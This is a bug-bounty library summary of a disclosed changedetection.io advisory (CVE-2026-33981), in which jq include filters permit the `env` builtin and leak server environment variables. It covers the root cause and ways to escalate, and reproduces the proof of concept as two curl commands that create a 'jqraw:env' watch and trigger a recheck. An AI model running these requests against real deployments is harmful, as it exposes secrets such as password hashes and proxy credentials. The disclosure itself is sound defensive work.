# Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters

changedetection.io's jq/jqraw include filters allow the jq `env` builtin, leaking all server environment variables including SALTED_PASS and proxy credentials.

- Payout: Research
- Severity: high
- Program: changedetection.io
- Found by: sajdakabir, zerotrail-ai
- Disclosed: 2026-03-27
- CVE: CVE-2026-33981
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-58r7-4wr5-hfx8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-58r7-4wr5-hfx8
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:info-disclosure vuln:misconfiguration vuln:secrets-leak

**Target:** changedetection.io web app include-filter jq expression handler (html_tools.py)
**Root cause:** User-supplied jq filter expressions are compiled and executed without restricting dangerous builtins like `env`; the form validator only checks that the expression compiles, not that it is safe.
**Steps:**
1. Create a watch with a JSON endpoint and include filter `jqraw:env`: `curl -X POST http://target:5000/api/v1/watch -H 'Content-Type: application/json' -H 'x-api-key: <api-key>' -d '{"url":"https://httpbin.org/json","include_filters":["jqraw:env"],"time_between_check":{"seconds":30}}'`
2. Trigger a recheck: `curl 'http://target:5000/api/v1/watch/<uuid>?recheck=true' -H 'x-api-key: <api-key>'`
3. Read the watch's latest snapshot in the web UI (or notifications); the processed text file contains all process env vars.
**How found:** Code review of html_tools.py jq handling: noticed jq.compile() runs arbitrary user expressions and the forms.py validator only checks compilation, so dangerous builtins like `env` are reachable.
**Exploitation:** An authenticated user (or unauthenticated in default no-password deployments) submits a watch whose include filter is `jqraw:env`. When the watch is checked, jq evaluates `env` and returns the full environment dictionary, which is stored as the snapshot and displayed in the UI/notifications, exposing SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY and other secrets.
**Escalation:** Leaked SALTED_PASS enables offline cracking or session forgery; leaked proxy/browser-automation URLs and DB connection strings allow pivoting into internal systems.
**Insight:** When an app exposes a general-purpose expression language (jq, JMESPath, JSONPath, template engines), enumerate its builtins for ones that read ambient state (env, input, now, $ENV) rather than only the supplied data — compile-only validation never blocks them.

## Proof of concept (copied exactly from the original report)

**curl POST creating watch with jqraw:env filter**

```
curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'
```

**curl triggering recheck of watch**

```
curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"
```

